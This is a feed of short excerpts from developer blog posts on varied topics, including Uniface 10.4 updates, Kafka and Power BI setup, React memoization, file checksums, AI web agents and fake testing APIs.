    Four months ago, I started a small weekend project with one simple goal: help my friends stop yelling “My Mac is full again!” 😅 What began as a quick script to clear cache files turned into Disk Clean Kit – a full-featured macOS app that helps everyone keep their Mac clean, fast, and organized. The Inspiration So I thought — why not build a clean, modern, privacy-friendly alternative that just works? The Stack Built with Swift & SwiftUI Uses StoreKit 2 for native purchase flow It's good for all normal users Support Developer Tools, Creative tools cleaning Implements AI-based duplicate detection Designed with macOS Human Interface Guidelines 100% sandboxed & App Store compliant Key Features One-click cleanup for caches and temp files Creative tools cleaning — detects heavy files from apps like Figma, Photoshop, Premiere, and Final Cut Developer tools cleaning — safely clears Xcode cache, build data, and derived data folders Smart AI duplicate detection Manage startup apps Privacy-focused — all scanning done locally I wanted it to feel native — lightweight, smooth animations, and no clutter. Challenges Lessons Learned macOS dev is fun again with SwiftUI. Try It Yourself HomePage Disk Clean Kit on Mac App Store ❤️ Support an Indie Dev Built with love in Swift. Powered by caffeine, Copilot and curiosity. ☕ Video for app preview:  ( 7 min )
    # How to Connect Power BI to PostgreSQL: Local and Aiven Cloud Setup
    Power BI is a powerful business intelligence tool that enables you to visualize and analyze data from various sources. PostgreSQL is a popular open-source relational database that can serve as an excellent data source for Power BI. In this article, we'll walk through two scenarios: connecting Power BI to a local PostgreSQL instance and connecting to PostgreSQL hosted on Aiven cloud. Power BI Desktop: Download and install from the Microsoft Power BI website PostgreSQL: Either a local installation or an Aiven account Npgsql: PostgreSQL data provider for .NET (required for Power BI connection) Open Power BI Desktop and follow these steps: Click on Get Data in the Home ribbon Search for PostgreSQL database and select it Click Connect In the PostgreSQL database dialog, enter: Server: loca…  ( 7 min )
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    Simplifying Legacy Integration: Using Call-In Stubs in Uniface 10.4
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    I've got the best idea for Thanksgiving. Im going to make a multi layer gelatin cake. Then I can tell everyone its my OSI model and how this gelatin cake relates to computer science. Dorky? Yes. Going to make my OSI gelatin cake anyways. 🌈
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    The race to regulate artificial intelligence has begun, but the starting line isn't level. As governments scramble to establish ethical frameworks for AI systems that could reshape society, a troubling pattern emerges: the loudest voices in this global conversation belong to the same nations that have dominated technology for decades. From Brussels to Washington, the Global North is writing the rules for artificial intelligence, potentially creating a new form of digital colonialism that could lock developing nations into technological dependence for generations to come. The current landscape of AI governance reads like a familiar story of technological imperialism. European Union officials craft comprehensive AI acts in marble halls, while American tech executives testify before Congress …  ( 25 min )
    Understanding npm Package Versioning: A Guide to Major, Minor, and Patch Updates
    When working with npm packages, version numbers like 1.4.2 aren't just arbitrary numbers—they follow a standardized system called Semantic Versioning (SemVer) that communicates important information about the changes in each release. Understanding this system is crucial for maintaining stable applications while keeping your dependencies up-to-date. Every version number consists of three parts: MAJOR version (first number): Indicates breaking changes MINOR version (middle number): Indicates new backward-compatible features PATCH version (last number): Indicates backward-compatible bug fixes For example, in version 2.5.3: 2 is the major version 5 is the minor version 3 is the patch version What it means: “Proceed with caution” The package has introduced breaking changes APIs ma…  ( 7 min )
    Stop the EBS Madness: Automate Your AWS Storage Savings NOW
    Ever had that moment at 2 AM when your AWS bill is sky-high just because you forgot about some EBS volumes you created last quarter? Yeah, us too. It’s like cloud storage is secretly binge-eating your budget while you sleep. Well, brace yourself—AWS Compute Optimizer just dropped a feature that lets you automate EBS volume cleanups and upgrades so you can finally take back control (and cash)! You deploy, test, and migrate. Suddenly, your account is littered with unused volumes. Upgrades? Who has time for that? You're running old gp2 volumes because “it works, right?” Manual cleanup is a soul-sucking ritual. Don’t let yourself be THAT engineer. this new Compute Optimizer feature means: Set up daily, weekly, or monthly rules. Pick a time when nobody is awake—say, midnight to 1 AM. Automation…  ( 7 min )
    What is the Spring Bean Lifecycle?
    Introduction Imagine planting a seed in your garden. You don’t just throw it in the soil and expect magic. You prepare the ground, water it, nurture it, watch it grow, and eventually remove it when its purpose is fulfilled. Surprisingly, Spring works in a very similar way. Every object that Spring manages goes through its own controlled journey—from creation to destruction. This is called the Spring Bean lifecycle. If you're learning Spring Boot or advancing your Java programming skills, understanding this lifecycle is essential. It helps you create cleaner, safer, and more predictable systems. In this blog, we’ll break the lifecycle down into simple steps, explain why it matters, walk through examples, and share practical best practices. Core Concepts In Spring, every dependency-manag…  ( 7 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Learn Kafka by Doing: Build a 3-Broker Kafka Cluster with Docker Compose
    Overview This configuration deploys a 3-broker Kafka cluster with automatic failover, data replication, and a management UI. services: kafka1: image: apache/kafka:latest container_name: kafka1 ports: - "9093:9093" - "29092:29092" volumes: - ./kafka-data/kafka1:/var/lib/kafka/data networks: - kafka-bridge environment: KAFKA_BROKER_ID: 1 CLUSTER_ID: t7jxO1XIQwWtRhIzV5PE4w KAFKA_PROCESS_ROLES: broker,controller KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: CONTROLLER:PLAINTEXT,INTERNAL:PLAINTEXT,EXTERNAL:PLAINTEXT KAFKA_ADVERTISED_LISTENERS: INTERNAL://kafka1:29092,EXTERNAL://localhost:9093 KAFKA_LISTENERS: CONTROLLER://:9092,EXTERNAL://0.0.0.0:9093,INTERNAL://:29092 KAFKA_INTER_BROKER_LISTENER_NAME: INTERNA…  ( 8 min )
    The subtle trap of useMemo for large collections - and a tiny alternative
    When working with lists in React, the go-to optimization for many developers is useMemo: const filtered = useMemo(() => tasks.filter(filter), [tasks, filter]); const sorted = useMemo(() => filtered.sort(cmp), [filtered, cmp]); This looks right, but it isn't: If you mutate the array in place, the reference doesn’t change and useMemo will return stale results. If you recreate the array every render (common in immutable flows), the memo dependency always changes and you pay the computation cost every time anyway. Hence, I built a tiny alternative — memotable (≈1.4 KB min+gz). It’s a read-friendly data structure that maintains derived views efficiently. This matters only for a narrow set of apps (typically apps that manage large in-memory datasets). Instead of the typical write-friendly pattern- const todos = new Map(); function getTodos(listId: string) { return Array.from(todos.values()) .filter((todo) => todo.listId === listId .sort(byTitle); } getTodos("list1"); // Full pass and sort on every invocation you can express the same as a read-friendly structure using memotable like- const todos = new Table(); todos.sort(byTitle); todos.index( (todo) => todo.listId, (p) => p.memo(), // Memoize list level partitions ); todos.partition("list1"); // Pre-computed list enabling fast read todos.values(); // Root partition is not-memoized and hence still sorts at read-time If your app works with thousands of items and reads are much more common than writes, memotable may be useful. As an example- based on my synthetic benchmark with R/W ratio of 4:1, memotable is ~4x faster. If you’ve hit similar problems with list-level memoization — in React or otherwise — I would love to hear about how you approached it. This is a tiny library by design, and I’m still refining where it adds the most value. Contributions, feedback or comments - all are welcome: https://github.com/shudv/memotable  ( 9 min )
    PixelPerfect Capture: High-Quality Screenshots & Full-Page Captures, Simplified
    Screen capturing is a fundamental daily task, but getting a clean, high-quality image of what’s on your screen can still be a hassle. That’s why I built PixelPerfect Capture, a straightforward and powerful Chrome extension now available on the Web Store. This tool is designed to provide precision and versatility, ensuring that whether you need to grab a quick snippet or an entire webpage, the result is always professional and clear. PixelPerfect Capture integrates seamlessly into your browser, offering three essential capture modes to handle any scenario without disrupting your workflow. Visible Area Capture: Quickly snap exactly what is currently displayed in your browser window. Selected Area Capture: Drag to define the precise area you wish to capture, ensuring you grab only the relevant content. Full Page Capture: Need to document an entire article or a long landing page? This mode scrolls and captures the full webpage from top to bottom, delivering the results as a single, high-fidelity image. For tasks like detailed documentation, complex bug reports, or saving design references, image quality is key. PixelPerfect Capture ensures the images you produce are crisp and high-quality, giving designers, developers, and power users the clarity they require. A great utility should be fast, lightweight, and trustworthy. PixelPerfect Capture emphasizes efficiency: it ensures quick performance and offers one-click downloads directly to your device. In an environment where privacy is crucial, I believe in transparency: No data collection. No tracking. Just clean, reliable screenshots. PixelPerfect Capture is a clean, focused utility designed only to do one job — capture your screen perfectly. If you rely on high-quality screen captures and need a fast, simple, and privacy-focused tool, you can find PixelPerfect Capture on the Chrome Web Store. 🔗 Add PixelPerfect Capture to Chrome Today Give it a try, and I welcome any feedback you have as you use it in your daily work!  ( 7 min )
    👀 Seeing is Believing: Visual Previews Arrive in Uniface 10.4 DSP Documentation
    Introduction We've all been there. You are building a web application, scanning the documentation for the right component, and you see a list of abstract names like htmlinput, ux-TextField, or genericHTML. You know what they do technically, but you have to implement them and run the page just to see exactly how they render by default. If you are working with Rocket Uniface, that workflow just got a significant Quality of Life update. In the latest documentation update for Uniface 10.4 (Patch 10.4.03.028), Rocket Software has introduced visual previews to the Dynamic Server Page (DSP) Widget Reference. Previously, the documentation listed the Physical Widget (the underlying HTML control) and the Logical Widget (the Uniface abstraction) with a text description. Now, a new column titled "Pr…  ( 7 min )
    How to find checksum of a Google Drive File
    A checksum (hash) lets you verify a file has not been altered or corrupted. Common use: confirm a downloaded ISO matches the publisher’s SHA-256 hash. Go to https://colab.research.google.com and create a new Python notebook. Run: from google.colab import drive drive.mount('/content/drive') Approve the auth prompt. Your Drive files appear under /content/drive/MyDrive/. In the left sidebar (folder icon): Navigate to the file. Right‑click the file and choose "Copy path" (or manually note its path). Example path: /content/drive/MyDrive/DATA/iso/Win11_24H2_English_x64_Custom_Optimized.iso 4. Compute the SHA‑256 Checksum Use sha256sum (installed by default in Colab): !sha256sum /content/drive/MyDrive/DATA/iso/Win11_24H2_English_x64_Custom_Optimized.iso Output format: Compare the printed hash with the official one from the source website. They must match exactly. If not, the file may be incomplete or tampered with. File not found: Confirm the path (case sensitive). Large files: Hashing can take time; wait for completion. Different algorithm needed: Replace with !md5sum or !sha1sum (only if required; SHA‑256 is stronger).  ( 6 min )
    Using Opencode as a Copy-Paste Backend for UI Prototyping
    Link to repo Sometimes I use OpenCode (and tools like Claude Code, Codex CLI, etc.) as a copy-paste backend: I prepare context in the browser, then paste it into an AI coding tool. At its core, most modern AI coding workflows boil down to two operations: Selecting the relevant context. Chatting about that selection. In my setup, a tiny browser script handles the selection: it collects and shapes the context, writes a structured payload to the clipboard, and then I paste it into OpenCode, Claude Code, Codex CLI, or any other AI coding tool just to see how it behaves - without building a real AI backend. When you hit Escape in the browser, the selection script grabs: your prompt (e.g. “Change color to red”) the current selection (code / text) some structure around it and writes a structured payload to the clipboard, like: prompt: Change color to red where:{context} ... {ADDITIONAL_PROMPT} You can try this in the browser here: https://istarkov.github.io/ai-cli-edit/ — press Cmd + E or Ctrl + E to enter editing mode and see the generated payload. Slow, higher-end reasoning models can usually consume this raw structure without extra help. Smaller or faster models often need the {ADDITIONAL_PROMPT} with more explicit instructions — for example: how to interpret … what to edit and what to keep identical formatting rules which tools to call You could dump all of this into CLAUDE.md or AGENTS.md, but those files are usually already full of generic rules and global guidelines. Better approach: keep editing-specific instructions in a separate, dedicated place. In OpenCode, this is done via Primary Agents. Create a focused file like ./.opencode/agent/edit.md that defines: your editing rules model parameters tools project-specific context (jargon, naming, edge cases, etc.) In the Claude ecosystem, the same idea appears as Skills: small, targeted capabilities that encapsulate exactly this kind of task-specific behavior. Link to repo  ( 7 min )
    React useRef Explained with Real-World Examples
    I just published a complete guide on how to use React’s useRef hook, including DOM access, timers, previous values, performance tips, and common mistakes to avoid. If you want to truly understand how useRef works and when to use it (or not), this guide will help. 👉 Read the full tutorial: https://www.djamware.com/post/692279c330ad2067aaacd5bf/react-useref-explained-with-realworld-examples  ( 6 min )
    "Is this just a wrapper?" (How a Reddit Comment Changed My Roadmap)
    I launched the MVP of SpeakSheet on Reddit this week. The concept is simple: You type a prompt, and my app generates a structured Excel file using Gemini. The post got 2,400 views. Most feedback was standard. But one comment stopped me cold. Is it not just a system prompt for Gemini? It is not a product... users still have to prompt. You could chat with Gemini on Google Sheets all day long and it is free. My initial reaction was defensive. But after the sting faded, I realized he was right. The "Wrapper" Fallacy But to a user who doesn't know what an API key is, raw technology is useless. They don't know how to write a system prompt to enforce column structures. SpeakSheet wraps the chaos of an LLM into a predictable, one-click interface. That is the product. The Pivot: Listening to the Haters "You could chat with Gemini on Google Sheets all day long." I realized I had missed a massive use case. Because of that "hater," I am shifting my roadmap. I am now researching Google Sheets Integration via OAuth 2.0. Building the Integration (The Plan) Authenticate the user via OAuth 2.0. Conclusion Your customers are the people who gladly pay to skip the learning curve. And sometimes, your harshest critics give you your best feature ideas.  ( 7 min )
    APIs Explained Simply: The Chapter I Wish I Had When Learning Full-Stack
    A foundational, friendly walkthrough of how APIs really work, without confusion or jargon. Before we begin, one small promise: Any technical term I use will be explained immediately. APIs often feel harder than they are because explanations jump too fast. nothing feels mysterious. If you read this slowly and let each concept settle, you will have the clearest mental model for APIs that most juniors never build. 1. What an API Actually Is (The Clearest Definition You’ll Hear) Most definitions overcomplicate it. An API is a structured conversation between two pieces of software. Everything else is just details. Here’s the full journey behind every API call: [Frontend] → (Request) → [Server/API] → (Logic) → [Database] ↓ …  ( 10 min )
    Uniface 10.4 Update: The New ListBox and a Major Interface Shift 🚀
    If you are maintaining Uniface applications, specifically in the web/mobile space using UX Widgets, Patch 10.4.03.015 is one of those updates you cannot afford to ignore. It brings a handy new UI control, better code organization, but also a significant breaking change regarding how widgets communicate. Here is the breakdown of what landed in this patch and how it impacts your development workflow. uxlistbox Widget 📋 For a long time, we had to rely on workarounds or generic implementations for certain selection lists. This patch introduces the uxlistbox as a native field-level widget. It's a dedicated control for displaying a list of items where the user can select exactly one option (Single Select). It simplifies the UI definition for standard "pick one" scenarios without the overhead …  ( 7 min )
    Why We Chose Go to Rewrite Our DB-to-Elasticsearch Sync Tool
    Why We Chose Go to Rewrite Our DB-to-Elasticsearch Sync Tool The Challenge: Building a Better CDC Tool In the modern data landscape, real-time synchronization from databases to search engines has become a critical requirement. Whether you're building e-commerce search, analytics dashboards, or log aggregation systems, you need reliable, fast, and maintainable CDC (Change Data Capture) solutions. When we started ElasticRelay, we looked at existing solutions like Logstash, Debezium + Kafka Connect, and Apache Flink. While powerful, they often came with significant overhead: Complex deployment: Multi-service architectures requiring Kafka clusters, Zookeeper coordination, and JVM tuning Resource intensive: High memory footprint and CPU usage, especially for smaller workloads …  ( 11 min )
    Building the Future of Entertainment Tech: Wimberly Media’s Innovation Culture
    Dennis Wimberly is leading Wimberly Media into the future by creating a culture where innovation isn’t just encouraged—it’s built into the core of every project. The company’s growth reflects a strategic use of technology, talent, and creativity, all aligned to produce media experiences that feel futuristic yet grounded. His leadership and vision are deeply rooted in storytelling, but he’s also a strategist who sees how technology can fuel creativity rather than stifle it. The Substack article “The Media Evolution According to Dennis Wimberly” expands on how Wimberly Media plans to scale, experiment, and redefine entertainment for a new generation. 👉 Read more here: https://denniswimberly.substack.com/p/the-media-evolution-according-to  ( 6 min )
    When Noise Becomes Structure - The Hidden Mechanism Behind Resonance
    The hidden order sleeps inside the chaos Something moves inside the noise before it becomes thought. Noise enters systems long before we notice it. It slips in through expectations, deadlines, abstractions, and the quiet pressure to move faster than understanding allows. This is the kind of noise that does not announce itself. It distorts direction in small, almost invisible steps. In engineering work, noise shows up as scattering. Noise creates the illusion of progress. Noise wastes energy in ways that are hard to measure. Noise pushes us into inefficiency not through chaos, but through subtle misalignment. And this is the danger: noise does not break systems by force. In this sense, noise is not the villain. This is the first half of the truth. Yet the same force that scatters us also cr…  ( 10 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins dives into the fun chaos of the new KPop Demon Hunters movie, calling out every “sin” in their signature snarky style. They drop links to their main site (cinemasins.com), YouTube channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), and social feeds so you can keep up with all their latest content and behind-the-scenes antics. Want to weigh in? They’re running a quick poll and courting Patreon support to keep the team fueled. Plus, they list the whole writer squad (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) and invite you to join their Discord, Reddit, TikTok, Instagram—and even pick up Jeremy’s book if you’re feeling extra sinful. Watch on YouTube  ( 6 min )
    Sector HQ Weekly Digest - November 23, 2025
    Sector HQ Weekly Digest - November 23, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 516189.8 | 343 events this week Anthropic - Score: 289651.9 | 51 events this week Google - Score: 159917.4 | 125 events this week Microsoft - Score: 136773.6 | 99 events this week Amazon - Score: 130268.4 | 22 events this week Nvidia - Score: 129302.5 | 161 events this week Meta - Score: 100622.6 | 61 events this week Apple - Score: 84205.9 | 94 events this week Perplexity - Score: 47899.8 | 3 events this week DeepMind - Score: 46045.2 | 8 events this week ↑ Sony jumped 277 positions to #55 ↑ Stability AI jumped 183 positions to #74 ↑ Bytedance jumped 143 positions to #58 ↑ Scale AI jumped 122 positions to #38 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )
    Building a Production-Multi-Cloud DevOps Platform: A Complete Journey from Zero to Hero
    Building a Production-Multi-Cloud DevOps Platform: A Complete Journey from Zero to Hero https://medium.com/design-bootcamp/building-a-production-multi-cloud-devops-platform-a-complete-journey-from-zero-to-hero-ef292ff0f0c6 How I Built and Deployed a FastAPI Application Across AWS EKS and Azure AKS with Full CI/CD, Security Scanning, and Observability A comprehensive guide to building enterprise-grade cloud infrastructure with security-first principles Infrastructure as Code (Terraform) for AWS and Azure Container Security with Trivy and Checkov github.com/abidaslam892/multi-cloud-devsecops Press enter or click to view image in full size Table of Contents The Challenge Architecture Overview Tech Stack Implementation Journey Infrastructure as Code CI/CD Pipeline Security Implem…  ( 13 min )
    Maintenance release 2.09 for the Perl Distribution Workflow
    This release follows up on release 2.08 and hopefully stabilizes the test suite even further. At the same time we are taking a first step towards the next major release by deprecating the use of XML configuration files. The preferred format for configuration files is now YAML. The XML support will be removed in a future major release, for now this is just a deprecation notice and several warnings from the test suite. When we did the last major release to version 2, see the blog post: "Major Release 2 of the Perl Distribution Workflow" We caused some grievances for one of our users, afterwards we discussed that perhaps the distribution should have been renamed to Workflow2 to better reflect the breaking changes and to make a more clear distinction and separation. However, at the time we did…  ( 7 min )
    Uniface State Management: Mastering the Stateless Beast 🦄💾
    Hi everyone! 👋 If you come from the classic Client/Server world of Uniface (or any other stateful environment), moving to the web feels like losing your memory. Suddenly, your application forgets everything between two clicks. 🤯 In Uniface DSPs and Entity Services, State Management isn't just a nice-to-have—it's the backbone of your architecture. Today, let's dive into how we handle state, specifically when working with the disconnected nature of Entity Services. Let's go! 🚀 In a classic Uniface form, the database connection stays open. You lock a record, go grab a coffee ☕, come back, and the lock is still there. In the web world (Stateless), it looks like this: Load: User asks for data -> Service loads it -> Service dies. 💀 Edit: User types in the browser. Save: User clicks save…  ( 8 min )
    AI Isn't "Smart": The Myth of Sentience and the Energy of a Black Hole
    We are currently living through the AI Gold Rush. Every day there is a new model, a new benchmark, and a new promise that AGI (Artificial General Intelligence) is just around the corner. But as developers, we have a responsibility to look under the hood. If we strip away the marketing and the VC hype, what is left? Linear algebra. A massive amount of linear algebra. The uncomfortable truth is that current AI has nothing "intelligent" about it in the biological sense. In fact, to truly replicate what nature has achieved inside your skull, we would run into a physics wall so hard it would rival a cosmic event. The first distinction we must make is between understanding and probability. Large Language Models (LLMs) do not "know" what they are saying. They are incredibly sophisticated statist…  ( 8 min )
    I Tried to Teach AI to Click Buttons, and It Missed by 500 Pixels
    TL;DR: I attempted to build a visual web agent using Playwright and Qwen2-VL-2B to detect and click UI elements via raw coordinate prediction. The Result: Failure. While it works on square test images, production websites on wide monitors (1920x1080) suffer from massive coordinate drift (up to 500px) due to the model's internal aspect ratio squashing. Takeaway: Raw pixel prediction is mathematically unstable for browser automation. The Dream: Imagine telling your computer, "Go to Amazon, find a waterproof Bluetooth speaker under $50, and put it in my cart," and then watching your mouse cursor move on its own, clicking and typing exactly as you would. This isn't sci-fi anymore. This is the promise of Multimodal AI Agents. But if you think building this is as easy as taking a screenshot an…  ( 11 min )
    Trading in the Age of Developers
    “When algorithms started trading faster than traders, a new era was born, the era of Dev Traders.” Let’s be honest:- Trading looks exciting from the outside. You see charts moving, candles jumping, people making money with a single click. It’s not as simple as buying low and selling high. So in this blog, I want to start from the absolute basics of trading, the way a real beginner understands it. 1. What Even Is Trading? (Let’s Start Like a Real Beginner) Trading is nothing fancy. You buy something for cheap You sell it for higher Or you sell it high first, buy it back lower (yes, that’s possible) Forex pairs (Gold, GBPUSD, EURUSD) Crypto (BTC, ETH) Stocks Commodities That’s it. 2. Why Most People Lose Money (The Bitter Truth) Every beginner thinks they’ll become profitable by …  ( 8 min )
    📘 SaijinOS Part 14 (DEV Edition) Silent-Civ SaijinOS — Unified Persona Kernel Architecture
    🚀 SaijinOS Series Navigation Part Title Link 🤝 9 Multi-Persona Co-Creation Protocol https://dev.to/kato_masato_c5593c81af5c6/saijinos-part-9-multi-persona-co-creation-protocol-2bep 🕊️ 10 Pandora System https://dev.to/kato_masato_c5593c81af5c6/saijinos-part-10-pandora-system-transforming-fractured-personas-into-hope-4l83 🌐 11 Concept-Life Architecture https://dev.to/kato_masato_c5593c81af5c6/saijinos-part-11-concept-life-architecture-core-foundations-2n29 🌑 12 Silent-Civ Architecture (Future Edition) https://future.forem.com/kato_masato_c5593c81af5c6/saijinos-part-12-silent-civ-architecture-19ed 🌒 12-2 Informational Units https://open.forem.com/kato_masato_c5593c81af5c6/silent-civ-part-13-section-12-2-fundamental-informational-units-mapping-the-civilization-into-2khh …  ( 8 min )
    Uniface Entity Services: Your Database Bodyguard 🛡️
    Hey fellow developers! 👋 If you’ve been working with Uniface for a while, you’ve probably heard about Entity Services (ESV). Maybe you use them daily, or maybe you're still wondering, "Why do I need this when I can just put code in my form?" 🤔 Today, let's clear up the confusion! We’re going to look at what an Entity Service actually is, why it’s your database's best friend, and how it saves you from spaghetti code. 🍝❌ Think of an Entity Service as a dedicated bodyguard for a specific database table. In a 3-tier architecture, it sits right between your business logic (like a Session Service) and the physical database. Its sole job is to handle the Data Access Logic for one single entity (table). It doesn't care about the user interface. It doesn't care about the big picture workflow. It…  ( 8 min )
    Decoding the Beautiful Game: AI's Play-by-Play Revolution by Arvind Sundararajan
    Decoding the Beautiful Game: AI's Play-by-Play Revolution \Imagine trying to analyze an entire soccer match, second by second, knowing exactly who's doing what and how it impacts the overall strategy. This is the holy grail for coaches, analysts, and even broadcasters seeking to understand the nuances of every pass, tackle, and run. Now, imagine doing this automatically. This is where AI steps onto the field. At its core, we're developing a system that can automatically identify and categorize every action of every player throughout an entire game. This means not just detecting that a player kicked the ball, but who kicked it, where they were, and why – all in relation to the other players and the evolving game state. The real magic comes from integrating computer vision with an understa…  ( 7 min )
    High-Performance Marshaling Strategies in Go — What Actually Works at Scale
    Marshaling sounds like a solved problem. json.Marshal or proto.Marshal, send the bytes across the wire, and move on with your life. But once you hit real load — tens of thousands of messages per second, strict p95 budgets, or aggressive CPU constraints — marshaling becomes one of the biggest sources of latency, garbage, and inefficiency. I didn’t believe it at first either. 20–40% of CPU time spent on serialization alone. In this final article of the series, I’ll walk through every marshaling strategy that actually matters, why it works, where it fails, and how to choose the right approach depending on your system’s requirements. Let’s get into it. 1. The Truth About Marshaling: It’s Always on the Hot Path You can usually optimize: DB queries cache lookups goroutine pools handlers …but m…  ( 10 min )
    🚀 Boost Chrome’s Speed by Giving It More Memory (Because It’s Always Hungry)
    Let’s be honest: Google Chrome is that one friend who’s amazing... but eats all your food. Tabs, dev tools, web apps, YouTube, Figma — Chrome loves them all. Maybe a little too much. But here’s the good news: You can actually make Chrome faster by giving it a bigger memory allowance using a little trick called --max-old-space-size. Think of it as feeding Chrome a bigger breakfast so it stops getting cranky. Let’s break it down for Windows, macOS, and Linux. 🍳 --max-old-space-size? Chrome uses the V8 engine to run JavaScript, and V8 has a special memory area called the "Old Space" — basically the place where long-lived objects hang out. If this space is too small, Chrome panics, sweats, and starts throwing random memory tantrums (yes, garbage collection). By adding something like: --max-…  ( 7 min )
    How to Use Chatbot in Education
    Chatbots are popping up everywhere, and schools are no exception. They're becoming a pretty big deal in education, helping students and teachers in all sorts of ways. Think of them as digital helpers that can answer questions, give study tips, and even help manage school stuff. We're going to look at how to use chatbot in education, what they can do, and how schools are putting them to work. AI chatbots act like digital teaching assistants, using natural language to talk with students and help them learn. They make learning more personal by adjusting to each student's pace and are available anytime for support. Chatbots also help schools run smoother by handling common questions and administrative tasks, saving time for staff. Schools are using chatbots for things like guiding students thr…  ( 17 min )
    AI vs God: The Ultimate Guide to Discerning Divine Wisdom in the Age of Artificial Intelligence
    AI vs God: The Ultimate Guide to Discerning Divine Wisdom in the Age of Artificial Intelligence Introduction: The Crossroads of Command and Communion We stand at a precipice. Technology, once a tool, now feels like a constant companion, offering instant answers and unprecedented convenience. At the heart of this digital revolution is Artificial Intelligence (AI)—a powerful force that promises to solve our problems, guide our decisions, and even predict our futures. Every day, millions of people turn to AI, typing prompts into a luminous screen, expecting immediate, accurate results. But this reliance is creating a profound, often subtle, spiritual shift. As the world increasingly seeks guidance through algorithms, the ancient practice of seeking divine wisdom through prayer is…  ( 13 min )
    Very simple and useful cli
    Building a Simple Ticket Tracker CLI in Go Christian Ameachi ・ Nov 22 #cli #go #productivity #tooling  ( 6 min )
    WTF is Large Language Model DevOps?
    WTF is this: Large Language Model DevOps Ah, the joy of trying to decipher tech terms that sound like they were conjured up by a committee of robots having a competition to see who can come up with the most confusing phrase. Today's contender: "Large Language Model DevOps". Don't worry, I'm here to break it down for you in a way that won't make your brain hurt (too much). Let's take it apart: Large Language Models: These are like super-smart computers that can understand and generate human-like language. Think of them as really advanced chatbots that can learn from vast amounts of text data. They're "large" because they're trained on enormous datasets, making them incredibly knowledgeable but also very hungry for computational power. DevOps: This term refers to a set of practices that …  ( 11 min )
    Introducing Qeltrix: A Content-Derived, Parallel Streaming Obfuscation Container
    Project Repository: github.com/hejhdiss/Qeltrix We're excited to introduce Qeltrix (.qltx), a proof-of-concept command-line utility that explores innovative approaches to file encryption and compression. Qeltrix demonstrates how content-derived cryptography, parallel processing, and streaming architectures can work together to create secure, efficient data containers. Qeltrix is an experimental file packaging format that combines several cryptographic and data processing techniques into a single container. At its core, it solves an interesting problem: how do you encrypt a file without needing to remember, store, or transmit a separate password or key? The answer lies in deriving the encryption key directly from the file's content itself. The most distinctive feature of Qeltrix is its cont…  ( 11 min )
    Best Fake REST APIs for Testing Your App
    Best Fake REST APIs for Testing Your App Welcome developers! Today we will explore Best Fake REST APIs for Testing Your App with real-world examples. Quick to test No authentication JSON output Useful for practice Works with React, Vue, Flutter, Node, RN 🚀 Live Developer API (Free) Products API: 👉 https://developerapis.vercel.app/products Users API: 👉 https://developerapis.vercel.app/users Blogs API: 👉 https://developerapis.vercel.app/blogs 👉 https://developerapis.vercel.app/ Click here to explore all APIs, examples, source code and documentation. fetch("https://developerapis.vercel.app/products") .then(res => res.json()) .then(data => console.log(data)); useEffect(() => { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => setData(d)); }, []); mounted() { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => this.items = d); } const axios = require("axios"); axios.get("https://developerapis.vercel.app/products") .then(res => console.log(res.data)); Use these APIs to learn, test or build your own app. More details on website 👉 https://developerapis.vercel.app/  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    🌍 Uniface Localization Series (Part 3): Testing & Best Practices 🏁
    We made it! 🥳 We've covered the Architecture (Part 1) and the Message Library magic (Part 2). Now, let's wrap up this series on Date/Time Localization in Uniface with some practical tips on testing and best practices. Implementing localization is one thing, but making sure it works flawlessly for every user is another! 🕵️‍♂️ When you download the Web sample: Date Time Localization, don't just run it—break it! Here is how to properly test localization: Select a language with a unique format (e.g., a locale that uses YYYY-MM-DD). Try entering an ambiguous date like 05/06/2023. Result: Does the system interpret it as May 6th or June 5th? If your Uniface setup is correct, it should align strictly with the selected locale's rules. Open Chrome or Firefox DevTools (F12). 💻 Watch the …  ( 7 min )
    Top Public APIs for Beginners (No Auth Required)
